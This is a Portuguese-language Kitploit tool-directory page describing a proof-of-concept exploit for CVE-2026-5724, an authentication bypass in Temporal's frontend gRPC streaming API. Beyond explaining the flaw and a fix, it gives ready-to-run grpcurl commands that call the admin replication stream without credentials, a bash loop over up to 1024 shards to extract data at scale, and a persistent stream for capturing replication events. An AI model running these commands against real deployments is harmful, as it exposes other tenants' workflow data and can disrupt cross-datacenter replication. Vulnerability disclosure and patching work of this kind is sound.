Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-5724 — Prova de conceito de exploit para CVE-2026-5724, uma bypass de autenticação no serviço gRPC de frontend do Temporal que permite acesso não autenticado aos dados de replicação de workflows. | Kitploit
Ferramentas/GitHubGitHub/tibrn/cve-2026-5724
Análise de VulnerabilidadesExploraçãoSegurança WebAutenticaçãoSegurança de API
GitHubtibrn/cve-2026-5724

CVE-2026-5724

Prova de conceito de exploit para CVE-2026-5724, uma bypass de autenticação no serviço gRPC de frontend do Temporal que permite acesso não autenticado aos dados de replicação de workflows.

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Resumo

O serviço frontend do Temporal não aplica autenticação em RPCs gRPC de streaming. A cadeia de interceptadores de streaming omite o interceptador de autorização, permitindo que chamadores não autenticados acessem AdminService/StreamWorkflowReplicationMessages, um endpoint privilegiado exclusivo de administração que transmite dados de replicação de workflows em todos os namespaces.

Detalhes

O servidor gRPC do frontend em service/frontend/fx.go configura duas cadeias de interceptadores. A cadeia de streaming inclui apenas telemetryInterceptor.StreamIntercept para métricas e nenhuma autenticação:

https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/service/frontend/fx.go#L292-L294

O tipo authorization.Interceptor implementa apenas um método de interceptador unário (Intercept). Não existe equivalente para streaming. O único RPC de streaming do frontend é AdminService/StreamWorkflowReplicationMessages, que de acordo com https://github.com/temporalio/temporal/blob/c9a39e6914c0b3a114ddfe42e991334ed911a4cf/common/api/metadata.go#L214-L215 deveria exigir {Scope: ScopeCluster, Access: AccessAdmin}. A chamada de streaming chega ao handler em admin_handler.go:1904 sem autorização, onde faz proxy diretamente para o endpoint de replicação do serviço de histórico interno.

PoC

Pegue uma implantação do Temporal expondo a API gRPC do frontend.

Chame o RPC de streaming do AdminService sem nenhuma credencial:

root@kitploit:~
grpcurl -max-time 15 \
  -H "temporal-client-cluster-id: 1" \
  -H "temporal-client-shard-id: 1" \
  -H "temporal-server-cluster-id: 1" \
  -H "temporal-server-shard-id: 1" \
  -d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
  temporal-frontend.example.com:443 \
  temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages

# A stream conecta. O servidor responde com o estado de replicação incluindo
# exclusiveHighWatermark por shard. Durante replicação ativa, a
# resposta contém eventos de histórico de workflow serializados:
# {
#   "messages": {
#     "replicationTasks": [{
#       "namespaceId": "...",
#       "workflowId": "...",
#       "runId": "...",
#       "taskType": "REPLICATION_TASK_TYPE_HISTORY_V2_TASK",
#       ...
#     }],
#     "exclusiveHighWatermark": "148293"
#   }
# }

Para iterar todos os shards e extrair dados em escala:

root@kitploit:~
#!/usr/bin/env bash
set -euo pipefail

TARGET="${1:-temporal-frontend.example.com:443}"
NUM_SHARDS="${2:-1024}"   
CLUSTER_ID="${3:-1}"       # initialFailoverVersion: 1=ativo, 2=failover

ADMIN_SVC="temporal.server.api.adminservice.v1.AdminService"

for SHARD in $(seq 1 "${NUM_SHARDS}"); do
  grpcurl -max-time 10 \
    -H "temporal-client-cluster-id: ${CLUSTER_ID}" \
    -H "temporal-client-shard-id: ${SHARD}" \
    -H "temporal-server-cluster-id: ${CLUSTER_ID}" \
    -H "temporal-server-shard-id: ${SHARD}" \
    -d '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}' \
    "${TARGET}" "${ADMIN_SVC}/StreamWorkflowReplicationMessages" 2>&1 || true
done

Para manter a stream aberta persistentemente e capturar eventos de replicação em tempo real:

root@kitploit:~
(
  while true; do
    echo '{"syncReplicationState":{"inclusiveLowWatermark":0,"highPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"},"lowPriorityState":{"inclusiveLowWatermark":0,"flowControlCommand":"REPLICATION_FLOW_CONTROL_COMMAND_RESUME"}}}'
    sleep 5
  done
) | grpcurl -d @ \
  -H "temporal-client-cluster-id: 1" \
  -H "temporal-client-shard-id: 1" \
  -H "temporal-server-cluster-id: 1" \
  -H "temporal-server-shard-id: 1" \
  temporal-frontend.example.com:443 \
  temporal.server.api.adminservice.v1.AdminService/StreamWorkflowReplicationMessages

Impacto

Um atacante com acesso ao frontend pode ler dados de replicação de workflows em todos os namespaces e tenants — IDs de workflow, IDs de execução, eventos de histórico, payloads de atividades sem nenhuma credencial. O atacante também pode interferir na replicação entre datacenters enviando mensagens SyncReplicationState, e obtém uma ponte para o serviço de histórico interno que normalmente nunca é exposto externamente.

Solução

Implemente um StreamServerInterceptor em authorization.Interceptor e adicione-o à cadeia de streaming em service/frontend/fx.go:292-296:

root@kitploit:~
streamInterceptor := []grpc.StreamServerInterceptor{
    telemetryInterceptor.StreamIntercept,
    authInterceptor.StreamIntercept,  // aplicar autenticação em RPCs de streaming
}
Baixar ferramenta